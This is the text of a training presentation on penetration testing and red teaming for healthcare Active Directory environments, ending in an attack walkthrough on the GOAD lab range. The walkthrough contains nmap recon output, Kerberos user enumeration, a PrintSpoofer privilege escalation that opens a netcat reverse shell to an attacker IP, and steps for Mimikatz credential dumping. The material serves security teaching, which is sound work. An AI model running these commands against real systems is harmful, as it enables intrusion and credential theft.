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The Role of Penetration Testing 
and Red Teaming in Healthcare 
Security

● Penetration testing and red teaming are 
essential for identifying and mitigating 
security vulnerabilities in healthcare 
systems.

● As cyber threats increase, these 
proactive measures are critical to protect 
sensitive patient data and healthcare 
operations.

● Simulated attacks help healthcare 
organizations prepare for and defend 
against real-world cyber threats.
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Use of Active Directory in the 
Healthcare Field

● Active Directory (AD) manages identities, access controls, and policies across 
various healthcare IT systems.

● AD integrates with critical healthcare systems such as electronic health 
records (EHRs), patient management systems, and telemedicine platforms.

● Ensures streamlined and secure operations, facilitating compliance with 
healthcare regulations and data protection standards.
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Use of Active Directory in the 
Healthcare Field

● Common AD vulnerabilities include Kerberoasting, Pass-the-Ticket, and Golden Ticket attacks.

● These vulnerabilities can lead to unauthorized access to EHRs, disruption of critical healthcare 
operations, and compromise of patient confidentiality.

● Real-world impact: Unauthorized access to patient data can lead to identity theft, financial 
fraud, and legal liabilities.

● Examples of real-world implications of AD vulnerabilities in healthcare scenarios:

● Unauthorized Access to Electronic Health Records (EHR):

o Scenario: Cybercriminals exploit an AD vulnerability like Kerberoasting to obtain the 
credentials of healthcare personnel who have access to EHR systems.

o Impact: Unauthorized access can lead to the exposure of sensitive patient information, 
medical history, and personal data, resulting in breaches of patient confidentiality, 
potential blackmail, and identity theft, along with legal repercussions for the healthcare 
facility.

● Compromise of Remote Medical Equipment:

o Scenario: A Golden Ticket attack gives attackers unrestricted access credentials that 
allow them to reach networked medical devices, such as those used in telemedicine or 
remote monitoring.

o Impact: Compromise of these devices could lead to incorrect diagnostics, interference 
with therapeutic procedures, or outright device failure, risking patient health and 
potentially leading to life-threatening situations.
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Penetration Testing for 
Healthcare Systems

Goals: 

● Assessing the security posture of systems integrated with AD.

● Develop methodologies adapted for healthcare environments 

to pinpoint system misconfigurations and software flaws.

● Help healthcare organizations understand their exposure to 

cyber threats, enabling proactive improvements.
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Reporting and Utilization of 
Findings

● Detailed reporting of penetration tests to document 

vulnerabilities, exploited systems, and potential data 

breaches.

● Utilization of reports to refine detection and response 

strategies within healthcare operations.

● Actionable insights from penetration testing reports help 

prioritize security updates and staff training to mitigate 

threats.
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Active Directory Threats: 
MITRE ATT&CK
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MITRE ATT&CK: Data Sources



10

MITRE ATT&CK: Active Directory 
Credential Request
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MITRE ATT&CK: Active Directory 
Object Access
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MITRE ATT&CK: Active Directory 
Object Creation & Deletion
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MITRE ATT&CK:  Active Directory 
Object Modification
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MITRE ATT&CK: Searching attributes 
and descriptions of specific attacks
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MITRE ATT&CK: Searching attributes 
and descriptions of specific attacks
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MITRE ATT&CK: Searching attributes 
and descriptions of specific attacks
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Red Teaming

o1. What is Red Teaming

o3. Attack Lifecycle

o4. MITRE ATT&CK

o5. Atomic Red Introduction

o2. Red Teaming vs Pentesting



What is Red Teaming

Red Team Operations

o Purpose of Red Team Operations: Simulate full-scope attacks to test 

security across digital infrastructure, employees, applications, and 

physical security.

o Simulating Real Adversaries: Replicate techniques used by real-world 

adversaries to uncover vulnerabilities and assess the company’s 

defensive capabilities.

o Full Attack Lifecycle: Operations span the entire lifecycle of an 

attack, providing a comprehensive evaluation of security readiness.

o Revealing Vulnerabilities: Identifies multiple attack vectors and 

weaknesses not typically found in standard penetration tests.



What is Red Teaming

Impact and Integration with 
Blue Team

o Actionable Results: Red Team findings are used to improve security 

measures and prepare for potential threats.

o Blue Team Collaboration:

o Role of Blue Team: Security professionals tasked with vulnerability identification, 

remediation, and effectiveness verification.

o Utilizing Results: Develop signatures for malware, implement safeguards, and 

enhance infrastructure security.

o Training and Hardening:

o Train employees to resist social engineering.

o Patch vulnerabilities identified during operations.

o APT Emulation: Red Teams emulate techniques of Advanced Persistent Threats to 

test long-term defense mechanisms.



Red Teaming vs Pentesting
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Pentesting Red Teaming

Defined scope No defined scope

Used to identify and exploit vulnerabilities
 

Emulates adversary behavior

Provides a report of findings that are 
consequently used by companies to 
patch, harden and secure their 
infrastructure 

Used to assess the resilience of an 
organization against adversaries attacks.

Preventative as opposed to detective. 
Penetration tests are useful at identifying 
vulnerabilities and threats, however, they 
do not provide actionable results that can 
be used for proactive detection of threats 
in the future. 

Provides actionable results that can be 
used for detection.



Attack Lifecycle
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Attack Lifecycle-Initial Recon
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Attack Lifecycle Initial 
Compromise
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Attack Lifecycle-Establish 
Foothold

24



Attack Lifecycle- Privilege 
Escalation
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Attack Lifecycle Internal 
Recon
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Attack Lifecycle- Lateral 
Movement

27



Attack Lifecycle-Maintain 
Presence
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Attack Lifecycle-Complete 
Mission
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Attack Lifecycle-APT32
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Active Directory Cyber 
Range-GOAD
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AD Structure

AD cyber range actually composed of five virtual machines:

•kingslanding: DC01 running on Windows Server 2019 (with 
windefender disabled by default)
•winterfell: DC02 running on Windows Server 2019 (with 
windefender disabled by default)
•castelblack: SRV02 running on Windows Server 2019 (with 
windefender disabled by default)
•meereen: DC03 running on Windows Server 2016 (with 
windefender disabled by default)
•braavos: SRV03 running on Windows Server 2016 (with 
windefender disabled by default)
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AD Environment-Customized 
GOAD

33



Attack lifecycle on GOAD

• Social engineering tactics used to compromise a VPN account

•User and host reconnaissance to gather intelligence

•Deployment of a webshell on server Castelblack for remote 
control

•Creation of stealthy network shares for malware delivery

•Privilege escalation through PrintSpoofer vulnerability

•Memory extraction using Mimikatz to acquire sensitive credentials
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Attack lifecycle on GOAD-
Initial Recon
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nmap -Pn -p- -sC -sV -oA full_scan_goad

Nmap scan report for 192.168.56.10
Host is up (0.0068s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT  STATE SERVICE  VERSION
53/tcp open  domain   Simple DNS Plus
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-13 13:43:24Z)
135/tcp  open  msrpc   Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap    Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
3268/tcp  open  ldap    Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf   .NET Message Framing
49667/tcp open  msrpc     Microsoft Windows RPC
49670/tcp open  msrpc     Microsoft Windows RPC
49671/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49673/tcp open  msrpc     Microsoft Windows RPC
49674/tcp open  msrpc     Microsoft Windows RPC
49688/tcp open  msrpc     Microsoft Windows RPC
49725/tcp open  msrpc     Microsoft Windows RPC



Attack lifecycle on GOAD-
Initial Recon
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nmap -Pn -p- -sC -sV -oA full_scan_goad 

 

Nmap scan report for 192.168.56.11

Host is up (0.0076s latency).

Not shown: 65517 filtered tcp ports (no-response)

PORT  STATE SERVICE   VERSION

53/tcp open  domain    Simple DNS Plus

88/tcp open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-13 13:43:31Z)

135/tcp   open  msrpc     Microsoft Windows RPC

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

389/tcp   open  ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., 

Site: Default-First-Site-Name)

445/tcp   open  microsoft-ds?

464/tcp   open  kpasswd5?

636/tcp   open  tcpwrapped

3268/tcp  open  ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., 

Site: Default-First-Site-Name)

3269/tcp  open  tcpwrapped

3389/tcp  open  ms-wbt-server Microsoft Terminal Services

5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

9389/tcp  open  mc-nmf    .NET Message Framing

49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0

49671/tcp open  msrpc         Microsoft Windows RPC

49676/tcp open  msrpc         Microsoft Windows RPC

49677/tcp open  msrpc         Microsoft Windows RPC

49715/tcp open  msrpc         Microsoft Windows RPC



Attack lifecycle on GOAD-
Initial Recon
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nmap -Pn -p- -sC -sV -oA full_scan_goad 

 

Nmap scan report for 192.168.56.12

Host is up (0.011s latency).

Not shown: 65513 filtered tcp ports (no-response)

PORT  STATE SERVICE   VERSION

53/tcp open  domain    Simple DNS Plus

88/tcp open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-13 13:43:36Z)

135/tcp   open  msrpc     Microsoft Windows RPC

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

389/tcp   open  ldap      Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-

First-Site-Name)

445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ESSOS)

464/tcp   open  kpasswd5?

593/tcp   open  ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp   open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-

First-Site-Name)

3268/tcp  open  ldap      Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-

First-Site-Name)

3269/tcp  open  ssl/ldap  Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-

First-Site-Name)

3389/tcp  open  ms-wbt-server Microsoft Terminal Services

5985/tcp  open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

9389/tcp  open  mc-nmf    .NET Message Framing

49666/tcp open  msrpc         Microsoft Windows RPC

49667/tcp open  msrpc         Microsoft Windows RPC

49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0

49670/tcp open  msrpc         Microsoft Windows RPC

49672/tcp open  msrpc         Microsoft Windows RPC

49686/tcp open  msrpc         Microsoft Windows RPC

55372/tcp open  msrpc         Microsoft Windows RPC

Service Info: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows



Attack lifecycle on GOAD-
Initial Recon
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nmap -Pn -p- -sC -sV -oA full_scan_goad 
 
Nmap scan report for 192.168.56.22
Host is up (0.013s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT  STATE SERVICE   VERSION
80/tcp open  http      Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc     Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.56.23

Host is up (0.0070s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT  STATE SERVICE   VERSION
80/tcp open  http      Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc     Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
1433/tcp  open  ms-sql-s  Microsoft SQL Server 2019 15.00.2000.00; RTM
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp  open  ssl/http  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49668/tcp open  msrpc         Microsoft Windows RPC
49779/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows



Attack lifecycle on GOAD-
Initial Recon
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Username enumeration using Kerberos:
nmap -T2 -p 88 --script=krb5-enum-users --script-args ="krb5-
enum-users.realm ='north.sevenkingdoms.local', 
userdb=got_users.txt" 192.168.56.11



Attack lifecycle on GOAD-
Establish Foothold-Initial 
Compromise-IIS Server
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Open Network share to attacking machine and connect from victim host



Attack lifecycle on GOAD-
Establish Foothold-Initial 
Compromise-IIS Server
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Open Network share to attacking machine and connect from victim host



Attack lifecycle on GOAD-
Establish Foothold-Initial 
Compromise-IIS Server
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Attacker tools in network share such as winpeas, 
printspoofer etc.



Attack lifecycle on GOAD-
Establish Foothold-Initial 
Compromise-IIS Server
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Local Privilege Escalation
copy X:\nc.exe C:\tmp\nc.exe
rlwrap nc -lvnp 1337
X:\PrintSpoofer.exe -c "c:\tmp\nc.exe 10.0.8.2 1337 -e 
cmd"



Attack lifecycle on GOAD-
Establish Foothold-Privilege 
Escalation
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Extract Memory Dump of LSASS process & Use 
Mimikatz directly on host.



Attack lifecycle on GOAD-
Establish Foothold-Privilege 
Escalation
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net use Q: \\live.sysinternals\tools

net use Q: \\live.sysinternals\tools
Extract memory dmp and get passwords offline.

Alternatively Use the share of System user to our 
attacking machine and run mimikatz directly on 
victim host



Post Exploitation – Internal 
Recon: Bloodhound
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MITRE ATT&CK & Atomic 
Red Team Exploration 

47



Thank you
for your 
attention

Presentation by: 

Christos Grigoriadis                    

(Focal Point)
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